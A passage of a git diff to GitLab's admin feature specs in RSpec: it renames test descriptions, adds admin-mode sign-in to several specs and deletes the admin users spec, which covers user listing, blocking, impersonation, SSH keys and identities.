@@ -33,7 +33,7 @@ RSpec.describe 'Admin updates settings', :clean_gitlab_redis_shared_state, :do_n
expect(page).to have_content "Application settings saved successfully"
end
- it 'Uncheck all restricted visibility levels' do
+ it 'uncheck all restricted visibility levels' do
page.within('.as-visibility-access') do
find('#application_setting_visibility_level_0').set(false)
find('#application_setting_visibility_level_10').set(false)
@@ -47,7 +47,7 @@ RSpec.describe 'Admin updates settings', :clean_gitlab_redis_shared_state, :do_n
expect(find('#application_setting_visibility_level_20')).not_to be_checked
end
- it 'Modify import sources' do
+ it 'modify import sources' do
expect(current_settings.import_sources).not_to be_empty
page.within('.as-visibility-access') do
@@ -70,7 +70,7 @@ RSpec.describe 'Admin updates settings', :clean_gitlab_redis_shared_state, :do_n
expect(current_settings.import_sources).to eq(['git'])
end
- it 'Change Visibility and Access Controls' do
+ it 'change Visibility and Access Controls' do
page.within('.as-visibility-access') do
uncheck 'Project export enabled'
click_button 'Save changes'
@@ -80,7 +80,7 @@ RSpec.describe 'Admin updates settings', :clean_gitlab_redis_shared_state, :do_n
expect(page).to have_content "Application settings saved successfully"
end
- it 'Change Keys settings' do
+ it 'change Keys settings' do
page.within('.as-visibility-access') do
select 'Are forbidden', from: 'RSA SSH keys'
select 'Are allowed', from: 'DSA SSH keys'
@@ -98,7 +98,7 @@ RSpec.describe 'Admin updates settings', :clean_gitlab_redis_shared_state, :do_n
expect(find_field('ED25519 SSH keys').value).to eq(forbidden)
end
- it 'Change Account and Limit Settings' do
+ it 'change Account and Limit Settings' do
page.within('.as-account-limit') do
uncheck 'Gravatar enabled'
click_button 'Save changes'
@@ -108,7 +108,7 @@ RSpec.describe 'Admin updates settings', :clean_gitlab_redis_shared_state, :do_n
expect(page).to have_content "Application settings saved successfully"
end
- it 'Change Maximum import size' do
+ it 'change Maximum import size' do
page.within('.as-account-limit') do
fill_in 'Maximum import size (MB)', with: 15
click_button 'Save changes'
@@ -118,7 +118,7 @@ RSpec.describe 'Admin updates settings', :clean_gitlab_redis_shared_state, :do_n
expect(page).to have_content "Application settings saved successfully"
end
- it 'Change New users set to external', :js do
+ it 'change New users set to external', :js do
user_internal_regex = find('#application_setting_user_default_internal_regex', visible: :all)
expect(user_internal_regex).to be_readonly
@@ -144,7 +144,7 @@ RSpec.describe 'Admin updates settings', :clean_gitlab_redis_shared_state, :do_n
end
end
- it 'Change Sign-in restrictions' do
+ it 'change Sign-in restrictions' do
page.within('.as-signin') do
fill_in 'Home page URL', with: 'https://about.gitlab.com/'
click_button 'Save changes'
@@ -154,7 +154,7 @@ RSpec.describe 'Admin updates settings', :clean_gitlab_redis_shared_state, :do_n
expect(page).to have_content "Application settings saved successfully"
end
- it 'Terms of Service' do
+ it 'terms of Service' do
# Already have the admin accept terms, so they don't need to accept in this spec.
_existing_terms = create(:term)
accept_terms(admin)
@@ -170,7 +170,7 @@ RSpec.describe 'Admin updates settings', :clean_gitlab_redis_shared_state, :do_n
expect(page).to have_content 'Application settings saved successfully'
end
- it 'Modify oauth providers' do
+ it 'modify oauth providers' do
expect(current_settings.disabled_oauth_sign_in_sources).to be_empty
page.within('.as-signin') do
@@ -190,7 +190,7 @@ RSpec.describe 'Admin updates settings', :clean_gitlab_redis_shared_state, :do_n
expect(current_settings.disabled_oauth_sign_in_sources).not_to include('google_oauth2')
end
- it 'Oauth providers do not raise validation errors when saving unrelated changes' do
+ it 'oauth providers do not raise validation errors when saving unrelated changes' do
expect(current_settings.disabled_oauth_sign_in_sources).to be_empty
page.within('.as-signin') do
@@ -213,7 +213,7 @@ RSpec.describe 'Admin updates settings', :clean_gitlab_redis_shared_state, :do_n
expect(current_settings.disabled_oauth_sign_in_sources).to include('google_oauth2')
end
- it 'Configure web terminal' do
+ it 'configure web terminal' do
page.within('.as-terminal') do
fill_in 'Max session time', with: 15
click_button 'Save changes'
@@ -255,7 +255,7 @@ RSpec.describe 'Admin updates settings', :clean_gitlab_redis_shared_state, :do_n
visit general_admin_application_settings_path
end
- it 'Enable hiding third party offers' do
+ it 'enable hiding third party offers' do
page.within('.as-third-party-offers') do
check 'Do not display offers from third parties within GitLab'
click_button 'Save changes'
@@ -265,7 +265,7 @@ RSpec.describe 'Admin updates settings', :clean_gitlab_redis_shared_state, :do_n
expect(current_settings.hide_third_party_offers).to be true
end
- it 'Change Slack Notifications Service template settings', :js do
+ it 'change Slack Notifications Service template settings', :js do
first(:link, 'Service Templates').click
click_link 'Slack notifications'
fill_in 'Webhook', with: 'http://localhost'
@@ -315,7 +315,7 @@ RSpec.describe 'Admin updates settings', :clean_gitlab_redis_shared_state, :do_n
end
context 'CI/CD page' do
- it 'Change CI/CD settings' do
+ it 'change CI/CD settings' do
visit ci_cd_admin_application_settings_path
page.within('.as-ci-cd') do
@@ -380,7 +380,7 @@ RSpec.describe 'Admin updates settings', :clean_gitlab_redis_shared_state, :do_n
end
context 'Repository page' do
- it 'Change Repository storage settings' do
+ it 'change Repository storage settings' do
visit repository_admin_application_settings_path
page.within('.as-repository-storage') do
@@ -393,7 +393,7 @@ RSpec.describe 'Admin updates settings', :clean_gitlab_redis_shared_state, :do_n
end
context 'Reporting page' do
- it 'Change Spam settings' do
+ it 'change Spam settings' do
visit reporting_admin_application_settings_path
page.within('.as-spam') do
@@ -421,7 +421,7 @@ RSpec.describe 'Admin updates settings', :clean_gitlab_redis_shared_state, :do_n
visit metrics_and_profiling_admin_application_settings_path
end
- it 'Change Prometheus settings' do
+ it 'change Prometheus settings' do
page.within('.as-prometheus') do
check 'Enable Prometheus Metrics'
click_button 'Save changes'
@@ -431,7 +431,7 @@ RSpec.describe 'Admin updates settings', :clean_gitlab_redis_shared_state, :do_n
expect(page).to have_content "Application settings saved successfully"
end
- it 'Change Performance bar settings' do
+ it 'change Performance bar settings' do
group = create(:group)
page.within('.as-performance-bar') do
@@ -474,7 +474,7 @@ RSpec.describe 'Admin updates settings', :clean_gitlab_redis_shared_state, :do_n
end
context 'Network page' do
- it 'Changes Outbound requests settings' do
+ it 'changes Outbound requests settings' do
visit network_admin_application_settings_path
page.within('.as-outbound') do
@@ -492,7 +492,7 @@ RSpec.describe 'Admin updates settings', :clean_gitlab_redis_shared_state, :do_n
expect(current_settings.dns_rebinding_protection_enabled).to be false
end
- it 'Changes Issues rate limits settings' do
+ it 'changes Issues rate limits settings' do
visit network_admin_application_settings_path
page.within('.as-issue-limits') do
@@ -510,7 +510,7 @@ RSpec.describe 'Admin updates settings', :clean_gitlab_redis_shared_state, :do_n
visit preferences_admin_application_settings_path
end
- it 'Change Help page' do
+ it 'change Help page' do
stub_feature_flags(help_page_documentation_redirect: true)
new_support_url = 'http://example.com/help'
@@ -531,7 +531,7 @@ RSpec.describe 'Admin updates settings', :clean_gitlab_redis_shared_state, :do_n
expect(page).to have_content "Application settings saved successfully"
end
- it 'Change Pages settings' do
+ it 'change Pages settings' do
page.within('.as-pages') do
fill_in 'Maximum size of pages (MB)', with: 15
check 'Require users to prove ownership of custom domains'
@@ -543,7 +543,7 @@ RSpec.describe 'Admin updates settings', :clean_gitlab_redis_shared_state, :do_n
expect(page).to have_content "Application settings saved successfully"
end
- it 'Change Real-time features settings' do
+ it 'change Real-time features settings' do
page.within('.as-realtime') do
fill_in 'Polling interval multiplier', with: 5.0
click_button 'Save changes'
@@ -564,7 +564,7 @@ RSpec.describe 'Admin updates settings', :clean_gitlab_redis_shared_state, :do_n
.to have_content "The form contains the following error: Polling interval multiplier must be greater than or equal to 0"
end
- it "Change Pages Let's Encrypt settings" do
+ it "change Pages Let's Encrypt settings" do
visit preferences_admin_application_settings_path
page.within('.as-pages') do
fill_in 'Email', with: 'my@test.example.com'
@@ -578,7 +578,7 @@ RSpec.describe 'Admin updates settings', :clean_gitlab_redis_shared_state, :do_n
end
context 'Nav bar' do
- it 'Shows default help links in nav' do
+ it 'shows default help links in nav' do
default_support_url = 'https://about.gitlab.com/getting-help/'
visit root_dashboard_path
@@ -591,7 +591,7 @@ RSpec.describe 'Admin updates settings', :clean_gitlab_redis_shared_state, :do_n
end
end
- it 'Shows custom support url in nav when set' do
+ it 'shows custom support url in nav when set' do
new_support_url = 'http://example.com/help'
stub_application_setting(help_page_support_url: new_support_url)
diff --git a/spec/features/admin/admin_system_info_spec.rb b/spec/features/admin/admin_system_info_spec.rb
index 6a0448fd890..2225f25aa1e 100644
--- a/spec/features/admin/admin_system_info_spec.rb
+++ b/spec/features/admin/admin_system_info_spec.rb
@@ -4,7 +4,9 @@ require 'spec_helper'
RSpec.describe 'Admin System Info' do
before do
- sign_in(create(:admin))
+ admin = create(:admin)
+ sign_in(admin)
+ gitlab_enable_admin_mode_sign_in(admin)
end
describe 'GET /admin/system_info' do
diff --git a/spec/features/admin/admin_users_impersonation_tokens_spec.rb b/spec/features/admin/admin_users_impersonation_tokens_spec.rb
index ec3dd322f97..cae190e76b0 100644
--- a/spec/features/admin/admin_users_impersonation_tokens_spec.rb
+++ b/spec/features/admin/admin_users_impersonation_tokens_spec.rb
@@ -20,6 +20,7 @@ RSpec.describe 'Admin > Users > Impersonation Tokens', :js do
before do
sign_in(admin)
+ gitlab_enable_admin_mode_sign_in(admin)
end
describe "token creation" do
diff --git a/spec/features/admin/admin_users_spec.rb b/spec/features/admin/admin_users_spec.rb
deleted file mode 100644
index 97a30143a59..00000000000
--- a/spec/features/admin/admin_users_spec.rb
+++ /dev/null
@@ -1,811 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe "Admin::Users" do
- include Spec::Support::Helpers::Features::ResponsiveTableHelpers
-
- let!(:user) do
- create(:omniauth_user, provider: 'twitter', extern_uid: '123456')
- end
-
- let!(:current_user) { create(:admin, last_activity_on: 5.days.ago) }
-
- before do
- sign_in(current_user)
- end
-
- describe "GET /admin/users" do
- before do
- visit admin_users_path
- end
-
- it "is ok" do
- expect(current_path).to eq(admin_users_path)
- end
-
- it "has users list" do
- expect(page).to have_content(current_user.email)
- expect(page).to have_content(current_user.name)
- expect(page).to have_content(current_user.created_at.strftime("%e %b, %Y"))
- expect(page).to have_content(current_user.last_activity_on.strftime("%e %b, %Y"))
- expect(page).to have_content(user.email)
- expect(page).to have_content(user.name)
- expect(page).to have_content('Projects')
- expect(page).to have_button('Block')
- expect(page).to have_button('Deactivate')
- expect(page).to have_button('Delete user')
- expect(page).to have_button('Delete user and contributions')
- end
-
- describe "view extra user information" do
- it 'shows the user popover on hover', :js, quarantine: 'https://gitlab.com/gitlab-org/gitlab/-/issues/11290' do
- expect(page).not_to have_selector('#__BV_popover_1__')
-
- first_user_link = page.first('.js-user-link')
- first_user_link.hover
-
- expect(page).to have_selector('#__BV_popover_1__')
- end
- end
-
- context 'user project count' do
- before do
- project = create(:project)
- project.add_maintainer(current_user)
- end
-
- it 'displays count of users projects' do
- visit admin_users_path
-
- expect(page.find("[data-testid='user-project-count-#{current_user.id}']").text).to eq("1")
- end
- end
-
- describe 'tabs' do
- it 'has multiple tabs to filter users' do
- expect(page).to have_link('Active', href: admin_users_path)
- expect(page).to have_link('Admins', href: admin_users_path(filter: 'admins'))
- expect(page).to have_link('2FA Enabled', href: admin_users_path(filter: 'two_factor_enabled'))
- expect(page).to have_link('2FA Disabled', href: admin_users_path(filter: 'two_factor_disabled'))
- expect(page).to have_link('External', href: admin_users_path(filter: 'external'))
- expect(page).to have_link('Blocked', href: admin_users_path(filter: 'blocked'))
- expect(page).to have_link('Deactivated', href: admin_users_path(filter: 'deactivated'))
- expect(page).to have_link('Without projects', href: admin_users_path(filter: 'wop'))
- end
-
- context '`Pending approval` tab' do
- before do
- visit admin_users_path
- end
-
- it 'shows the `Pending approval` tab' do
- expect(page).to have_link('Pending approval', href: admin_users_path(filter: 'blocked_pending_approval'))
- end
- end
- end
-
- describe 'search and sort' do
- before do
- create(:user, name: 'Foo Bar', last_activity_on: 3.days.ago)
- create(:user, name: 'Foo Baz', last_activity_on: 2.days.ago)
- create(:user, name: 'Dmitriy')
- end
-
- it 'searches users by name' do
- visit admin_users_path(search_query: 'Foo')
-
- expect(page).to have_content('Foo Bar')
- expect(page).to have_content('Foo Baz')
- expect(page).not_to have_content('Dmitriy')
- end
-
- it 'sorts users by name' do
- visit admin_users_path
-
- sort_by('Name')
-
- expect(first_row.text).to include('Dmitriy')
- expect(second_row.text).to include('Foo Bar')
- end
-
- it 'sorts search results only' do
- visit admin_users_path(search_query: 'Foo')
-
- sort_by('Name')
-
- expect(page).not_to have_content('Dmitriy')
- expect(first_row.text).to include('Foo Bar')
- expect(second_row.text).to include('Foo Baz')
- end
-
- it 'searches with respect of sorting' do
- visit admin_users_path(sort: 'Name')
-
- fill_in :search_query, with: 'Foo'
- click_button('Search users')
-
- expect(first_row.text).to include('Foo Bar')
- expect(second_row.text).to include('Foo Baz')
- end
-
- it 'sorts users by recent last activity' do
- visit admin_users_path(search_query: 'Foo')
-
- sort_by('Recent last activity')
-
- expect(first_row.text).to include('Foo Baz')
- expect(second_row.text).to include('Foo Bar')
- end
-
- it 'sorts users by oldest last activity' do
- visit admin_users_path(search_query: 'Foo')
-
- sort_by('Oldest last activity')
-
- expect(first_row.text).to include('Foo Bar')
- expect(second_row.text).to include('Foo Baz')
- end
- end
-
- describe 'Two-factor Authentication filters' do
- it 'counts users who have enabled 2FA' do
- create(:user, :two_factor)
-
- visit admin_users_path
-
- page.within('.filter-two-factor-enabled small') do
- expect(page).to have_content('1')
- end
- end
-
- it 'filters by users who have enabled 2FA' do
- user = create(:user, :two_factor)
-
- visit admin_users_path
- click_link '2FA Enabled'
-
- expect(page).to have_content(user.email)
- end
-
- it 'counts users who have not enabled 2FA' do
- visit admin_users_path
-
- page.within('.filter-two-factor-disabled small') do
- expect(page).to have_content('2') # Including admin
- end
- end
-
- it 'filters by users who have not enabled 2FA' do
- visit admin_users_path
- click_link '2FA Disabled'
-
- expect(page).to have_content(user.email)
- end
- end
-
- describe 'Pending approval filter' do
- it 'counts users who are pending approval' do
- create_list(:user, 2, :blocked_pending_approval)
-
- visit admin_users_path
-
- page.within('.filter-blocked-pending-approval small') do
- expect(page).to have_content('2')
- end
- end
-
- it 'filters by users who are pending approval' do
- user = create(:user, :blocked_pending_approval)
-
- visit admin_users_path
- click_link 'Pending approval'
-
- expect(page).to have_content(user.email)
- end
- end
-
- context 'when blocking a user' do
- it 'shows confirmation and allows blocking', :js do
- expect(page).to have_content(user.email)
-
- find("[data-testid='user-action-button-#{user.id}']").click
-
- within find("[data-testid='user-action-dropdown-#{user.id}']") do
- find('li button', text: 'Block').click
- end
-
- wait_for_requests
-
- expect(page).to have_content('Block user')
- expect(page).to have_content('Blocking user has the following effects')
- expect(page).to have_content('User will not be able to login')
- expect(page).to have_content('Owned groups will be left')
-
- find('.modal-footer button', text: 'Block').click
-
- wait_for_requests
-
- expect(page).to have_content('Successfully blocked')
- expect(page).not_to have_content(user.email)
- end
- end
- end
-
- describe "GET /admin/users/new" do
- let(:user_username) { 'bang' }
-
- before do
- visit new_admin_user_path
- fill_in "user_name", with: "Big Bang"
- fill_in "user_username", with: user_username
- fill_in "user_email", with: "bigbang@mail.com"
- end
-
- it "creates new user" do
- expect { click_button "Create user" }.to change {User.count}.by(1)
- end
-
- it "applies defaults to user" do
- click_button "Create user"
- user = User.find_by(username: 'bang')
- expect(user.projects_limit)
- .to eq(Gitlab.config.gitlab.default_projects_limit)
- expect(user.can_create_group)
- .to eq(Gitlab.config.gitlab.default_can_create_group)
- end
-
- it "creates user with valid data" do
- click_button "Create user"
- user = User.find_by(username: 'bang')
- expect(user.name).to eq('Big Bang')
- expect(user.email).to eq('bigbang@mail.com')
- end
-
- it "calls send mail" do
- expect_next_instance_of(NotificationService) do |instance|
- expect(instance).to receive(:new_user)
- end
-
- click_button "Create user"
- end
-
- it "sends valid email to user with email & password" do
- perform_enqueued_jobs do
- click_button "Create user"
- end
-
- user = User.find_by(username: 'bang')
- email = ActionMailer::Base.deliveries.last
- expect(email.subject).to have_content('Account was created')
- expect(email.text_part.body).to have_content(user.email)
- expect(email.text_part.body).to have_content('password')
- end
-
- context 'username contains spaces' do
- let(:user_username) { 'Bing bang' }
-
- it "doesn't create the user and shows an error message" do
- expect { click_button "Create user" }.to change {User.count}.by(0)
-
- expect(page).to have_content('The form contains the following error')
- expect(page).to have_content('Username can contain only letters, digits')
- end
- end
-
- context 'with new users set to external enabled' do
- context 'with regex to match internal user email address set', :js do
- before do
- stub_application_setting(user_default_external: true)
- stub_application_setting(user_default_internal_regex: '\.internal@')
-
- visit new_admin_user_path
- end
-
- def expects_external_to_be_checked
- expect(find('#user_external')).to be_checked
- end
-
- def expects_external_to_be_unchecked
- expect(find('#user_external')).not_to be_checked
- end
-
- def expects_warning_to_be_hidden
- expect(find('#warning_external_automatically_set', visible: :all)[:class]).to include 'hidden'
- end
-
- def expects_warning_to_be_shown
- expect(find('#warning_external_automatically_set')[:class]).not_to include 'hidden'
- end
-
- it 'automatically unchecks external for matching email' do
- expects_external_to_be_checked
- expects_warning_to_be_hidden
-
- fill_in 'user_email', with: 'test.internal@domain.ch'
-
- expects_external_to_be_unchecked
- expects_warning_to_be_shown
-
- fill_in 'user_email', with: 'test@domain.ch'
-
- expects_external_to_be_checked
- expects_warning_to_be_hidden
-
- uncheck 'user_external'
-
- expects_warning_to_be_hidden
- end
-
- it 'creates an internal user' do
- user_name = 'tester1'
- fill_in 'user_email', with: 'test.internal@domain.ch'
- fill_in 'user_name', with: 'tester1 name'
- fill_in 'user_username', with: user_name
-
- expects_external_to_be_unchecked
- expects_warning_to_be_shown
-
- click_button 'Create user'
-
- new_user = User.find_by(username: user_name)
-
- expect(new_user.external).to be_falsy
- end
- end
- end
- end
-
- describe "GET /admin/users/:id" do
- it "has user info" do
- visit admin_users_path
- click_link user.name
-
- expect(page).to have_content(user.email)
- expect(page).to have_content(user.name)
- expect(page).to have_content("ID: #{user.id}")
- expect(page).to have_content("Namespace ID: #{user.namespace_id}")
- expect(page).to have_button('Deactivate user')
- expect(page).to have_button('Block user')
- expect(page).to have_button('Delete user')
- expect(page).to have_button('Delete user and contributions')
- end
-
- context 'user pending approval' do
- it 'shows user info' do
- user = create(:user, :blocked_pending_approval)
-
- visit admin_users_path
- click_link 'Pending approval'
- click_link user.name
-
- expect(page).to have_content(user.name)
- expect(page).to have_content('Pending approval')
- expect(page).to have_link('Approve user')
- expect(page).to have_button('Block user')
- expect(page).to have_button('Delete user')
- expect(page).to have_button('Delete user and contributions')
- end
- end
-
- context 'when blocking the user' do
- it 'shows confirmation and allows blocking', :js do
- visit admin_user_path(user)
-
- find('button', text: 'Block user').click
-
- wait_for_requests
-
- expect(page).to have_content('Block user')
- expect(page).to have_content('You can always unblock their account, their data will remain intact.')
-
- find('.modal-footer button', text: 'Block').click
-
- wait_for_requests
-
- expect(page).to have_content('Successfully blocked')
- expect(page).to have_content('This user is blocked')
- end
- end
-
- describe 'Impersonation' do
- let(:another_user) { create(:user) }
-
- context 'before impersonating' do
- subject { visit admin_user_path(user_to_visit) }
-
- let(:user_to_visit) { another_user }
-
- context 'for other users' do
- it 'shows impersonate button for other users' do
- subject
-
- expect(page).to have_content('Impersonate')
- end
- end
-
- context 'for admin itself' do
- let(:user_to_visit) { current_user }
-
- it 'does not show impersonate button for admin itself' do
- subject
-
- expect(page).not_to have_content('Impersonate')
- end
- end
-
- context 'for blocked user' do
- before do
- another_user.block
- end
-
- it 'does not show impersonate button for blocked user' do
- subject
-
- expect(page).not_to have_content('Impersonate')
- end
- end
-
- context 'when impersonation is disabled' do
- before do
- stub_config_setting(impersonation_enabled: false)
- end
-
- it 'does not show impersonate button' do
- subject
-
- expect(page).not_to have_content('Impersonate')
- end
- end
- end
-
- context 'when impersonating' do
- subject { click_link 'Impersonate' }
-
- before do
- visit admin_user_path(another_user)
- end
-
- it 'logs in as the user when impersonate is clicked' do
- subject
-
- expect(page.find(:css, '.header-user .profile-link')['data-user']).to eql(another_user.username)
- end
-
- it 'sees impersonation log out icon' do
- subject
-
- icon = first('[data-testid="incognito-icon"]')
- expect(icon).not_to be nil
- end
-
- context 'a user with an expired password' do
- before do
- another_user.update(password_expires_at: Time.now - 5.minutes)
- end
-
- it 'does not redirect to password change page' do
- subject
-
- expect(current_path).to eq('/')
- end
- end
- end
-
- context 'ending impersonation' do
- subject { find(:css, 'li.impersonation a').click }
-
- before do
- visit admin_user_path(another_user)
- click_link 'Impersonate'
- end
-
- it 'logs out of impersonated user back to original user' do
- subject
-
- expect(page.find(:css, '.header-user .profile-link')['data-user']).to eq(current_user.username)
- end
-
- it 'is redirected back to the impersonated users page in the admin after stopping' do
- subject
-
- expect(current_path).to eq("/admin/users/#{another_user.username}")
- end
-
- context 'a user with an expired password' do
- before do
- another_user.update(password_expires_at: Time.now - 5.minutes)
- end
-
- it 'is redirected back to the impersonated users page in the admin after stopping' do
- subject
-
- expect(current_path).to eq("/admin/users/#{another_user.username}")
- end
- end
- end
- end
-
- describe 'Two-factor Authentication status' do
- it 'shows when enabled' do
- user.update_attribute(:otp_required_for_login, true)
-
- visit admin_user_path(user)
-
- expect_two_factor_status('Enabled')
- end
-
- it 'shows when disabled' do
- visit admin_user_path(user)
-
- expect_two_factor_status('Disabled')
- end
-
- def expect_two_factor_status(status)
- page.within('.two-factor-status') do
- expect(page).to have_content(status)
- end
- end
- end
-
- describe 'Email verification status' do
- let!(:secondary_email) do
- create :email, email: 'secondary@example.com', user: user
- end
-
- it 'displays the correct status for an unverified email address' do
- user.update(confirmed_at: nil, unconfirmed_email: user.email)
- visit admin_user_path(user)
-
- expect(page).to have_content("#{user.email} Unverified")
-
- expect(page).to have_content("#{secondary_email.email} Unverified")
- end
-
- it 'displays the correct status for a verified email address' do
- visit admin_user_path(user)
- expect(page).to have_content("#{user.email} Verified")
-
- secondary_email.confirm
- expect(secondary_email.confirmed?).to be_truthy
-
- visit admin_user_path(user)
- expect(page).to have_content("#{secondary_email.email} Verified")
- end
- end
- end
-
- describe "GET /admin/users/:id/edit" do
- before do
- visit admin_users_path
- click_link "edit_user_#{user.id}"
- end
-
- it "has user edit page" do
- expect(page).to have_content('Name')
- expect(page).to have_content('Password')
- end
-
- describe "Update user" do
- before do
- fill_in "user_name", with: "Big Bang"
- fill_in "user_email", with: "bigbang@mail.com"
- fill_in "user_password", with: "AValidPassword1"
- fill_in "user_password_confirmation", with: "AValidPassword1"
- choose "user_access_level_admin"
- click_button "Save changes"
- end
-
- it "shows page with new data" do
- expect(page).to have_content('bigbang@mail.com')
- expect(page).to have_content('Big Bang')
- end
-
- it "changes user entry" do
- user.reload
- expect(user.name).to eq('Big Bang')
- expect(user.admin?).to be_truthy
- expect(user.password_expires_at).to be <= Time.now
- end
- end
-
- describe 'update username to non ascii char' do
- it do
- fill_in 'user_username', with: '\u3042\u3044'
- click_button('Save')
-
- page.within '#error_explanation' do
- expect(page).to have_content('Username')
- end
-
- expect(page).to have_selector(%(form[action="/admin/users/#{user.username}"]))
- end
- end
- end
-
- describe "GET /admin/users/:id/projects" do
- let(:group) { create(:group) }
- let!(:project) { create(:project, group: group) }
-
- before do
- group.add_developer(user)
-
- visit projects_admin_user_path(user)
- end
-
- it "lists group projects" do
- within(:css, '.gl-mb-3 + .card') do
- expect(page).to have_content 'Group projects'
- expect(page).to have_link group.name, href: admin_group_path(group)
- end
- end
-
- it 'allows navigation to the group details' do
- within(:css, '.gl-mb-3 + .card') do
- click_link group.name
- end
- within(:css, 'h3.page-title') do
- expect(page).to have_content "Group: #{group.name}"
- end
- expect(page).to have_content project.name
- end
-
- it 'shows the group access level' do
- within(:css, '.gl-mb-3 + .card') do
- expect(page).to have_content 'Developer'
- end
- end
-
- it 'allows group membership to be revoked', :js do
- page.within(first('.group_member')) do
- accept_confirm { find('.btn[data-testid="remove-user"]').click }
- end
- wait_for_requests
-
- expect(page).not_to have_selector('.group_member')
- end
- end
-
- describe 'show breadcrumbs' do
- it do
- visit admin_user_path(user)
-
- check_breadcrumb(user.name)
-
- visit projects_admin_user_path(user)
-
- check_breadcrumb(user.name)
-
- visit keys_admin_user_path(user)
-
- check_breadcrumb(user.name)
-
- visit admin_user_impersonation_tokens_path(user)
-
- check_breadcrumb(user.name)
-
- visit admin_user_identities_path(user)
-
- check_breadcrumb(user.name)
-
- visit new_admin_user_identity_path(user)
-
- check_breadcrumb("New Identity")
-
- visit admin_user_identities_path(user)
-
- find('.table').find(:link, 'Edit').click
-
- check_breadcrumb("Edit Identity")
- end
- end
-
- describe 'show user attributes' do
- it do
- visit admin_users_path
-
- click_link user.name
-
- expect(page).to have_content 'Account'
- expect(page).to have_content 'Personal projects limit'
- end
- end
-
- describe 'remove users secondary email', :js do
- let!(:secondary_email) do
- create :email, email: 'secondary@example.com', user: user
- end
-
- it do
- visit admin_user_path(user.username)
-
- expect(page).to have_content("Secondary email: #{secondary_email.email}")
-
- accept_confirm { find("#remove_email_#{secondary_email.id}").click }
-
- expect(page).not_to have_content(secondary_email.email)
- end
- end
-
- describe 'show user keys', :js do
- let!(:key1) do
- create(:key, user: user, title: "ssh-rsa Key1", key: "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4FIEBXGi4bPU8kzxMefudPIJ08/gNprdNTaO9BR/ndy3+58s2HCTw2xCHcsuBmq+TsAqgEidVq4skpqoTMB+Uot5Uzp9z4764rc48dZiI661izoREoKnuRQSsRqUTHg5wrLzwxlQbl1MVfRWQpqiz/5KjBC7yLEb9AbusjnWBk8wvC1bQPQ1uLAauEA7d836tgaIsym9BrLsMVnR4P1boWD3Xp1B1T/ImJwAGHvRmP/ycIqmKdSpMdJXwxcb40efWVj0Ibbe7ii9eeoLdHACqevUZi6fwfbymdow+FeqlkPoHyGg3Cu4vD/D8+8cRc7mE/zGCWcQ15Var83Tczour Key1")
- end
-
- let!(:key2) do
- create(:key, user: user, title: "ssh-rsa Key2", key: "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQSTWXhJAX/He+nG78MiRRRn7m0Pb0XbcgTxE0etArgoFoh9WtvDf36HG6tOSg/0UUNcp0dICsNAmhBKdncp6cIyPaXJTURPRAGvhI0/VDk4bi27bRnccGbJ/hDaUxZMLhhrzY0r22mjVf8PF6dvv5QUIQVm1/LeaWYsHHvLgiIjwrXirUZPnFrZw6VLREoBKG8uWvfSXw1L5eapmstqfsME8099oi+vWLR8MgEysZQmD28M73fgW4zek6LDQzKQyJx9nB+hJkKUDvcuziZjGmRFlNgSA2mguERwL1OXonD8WYUrBDGKroIvBT39zS5d9tQDnidEJZ9Y8gv5ViYP7x Key2")
- end
-
- it do
- visit admin_users_path
-
- click_link user.name
- click_link 'SSH keys'
-
- expect(page).to have_content(key1.title)
- expect(page).to have_content(key2.title)
-
- click_link key2.title
-
- expect(page).to have_content(key2.title)
- expect(page).to have_content(key2.key)
-
- click_button 'Delete'
-
- page.within('.modal') do
- page.click_button('Delete')
- end
-
- expect(page).not_to have_content(key2.title)
- end
- end
-
- describe 'show user identities' do
- it 'shows user identities' do
- visit admin_user_identities_path(user)
-
- expect(page).to have_content(user.name)
- expect(page).to have_content('twitter')
- end
- end
-
- describe 'update user identities' do
- before do
- allow(Gitlab::Auth::OAuth::Provider).to receive(:providers).and_return([:twitter, :twitter_updated])
- end
-
- it 'modifies twitter identity' do
- visit admin_user_identities_path(user)
-
- find('.table').find(:link, 'Edit').click
- fill_in 'identity_extern_uid', with: '654321'
- select 'twitter_updated', from: 'identity_provider'
- click_button 'Save changes'
-
- expect(page).to have_content(user.name)
- expect(page).to have_content('twitter_updated')
- expect(page).to have_content('654321')
- end
- end
-
- describe 'remove user with identities' do
- it 'removes user with twitter identity' do
- visit admin_user_identities_path(user)
-
- click_link 'Delete'
-
- expect(page).to have_content(user.name)
- expect(page).not_to have_content('twitter')
- end
- end
-
- def check_breadcrumb(content)
- expect(find('.breadcrumbs-sub-title')).to have_content(content)
- end
-
- def sort_by(text)
- page.within('.user-sort-dropdown') do
- click_link text
- end
- end
-end
diff --git a/spec/features/admin/admin_uses_repository_checks_spec.rb b/spec/features/admin/admin_uses_repository_checks_spec.rb
index 0fb5124f673..0e448446085 100644
--- a/spec/features/admin/admin_uses_repository_checks_spec.rb
+++ b/spec/features/admin/admin_uses_repository_checks_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Admin uses repository checks', :request_store, :clean_gitlab_redis_shared_state, :do_not_mock_admin_mode do
+RSpec.describe 'Admin uses repository checks', :request_store do
include StubENV
let(:admin) { create(:admin) }
diff --git a/spec/features/admin/clusters/applications_spec.rb b/spec/features/admin/clusters/applications_spec.rb
index 3bcadfdbfc1..e083e4fee4c 100644
--- a/spec/features/admin/clusters/applications_spec.rb
+++ b/spec/features/admin/clusters/applications_spec.rb
@@ -10,6 +10,7 @@ RSpec.describe 'Instance-level Cluster Applications', :js do
before do
sign_in(user)
+ gitlab_enable_admin_mode_sign_in(user)
end
describe 'Installing applications' do
diff --git a/spec/features/admin/clusters/eks_spec.rb b/spec/features/admin/clusters/eks_spec.rb
index ad7122bf182..a1bac720349 100644
--- a/spec/features/admin/clusters/eks_spec.rb
+++ b/spec/features/admin/clusters/eks_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe 'Instance-level AWS EKS Cluster', :js do
before do
sign_in(user)
+ gitlab_enable_admin_mode_sign_in(user)
end
context 'when user does not have a cluster and visits group clusters page' do
diff --git a/spec/features/admin/dashboard_spec.rb b/spec/features/admin/dashboard_spec.rb
index acb8fb54e11..c040811ada1 100644
--- a/spec/features/admin/dashboard_spec.rb
+++ b/spec/features/admin/dashboard_spec.rb
@@ -6,7 +6,9 @@ RSpec.describe 'admin visits dashboard' do
include ProjectForksHelper
before do
- sign_in(create(:admin))
+ admin = create(:admin)
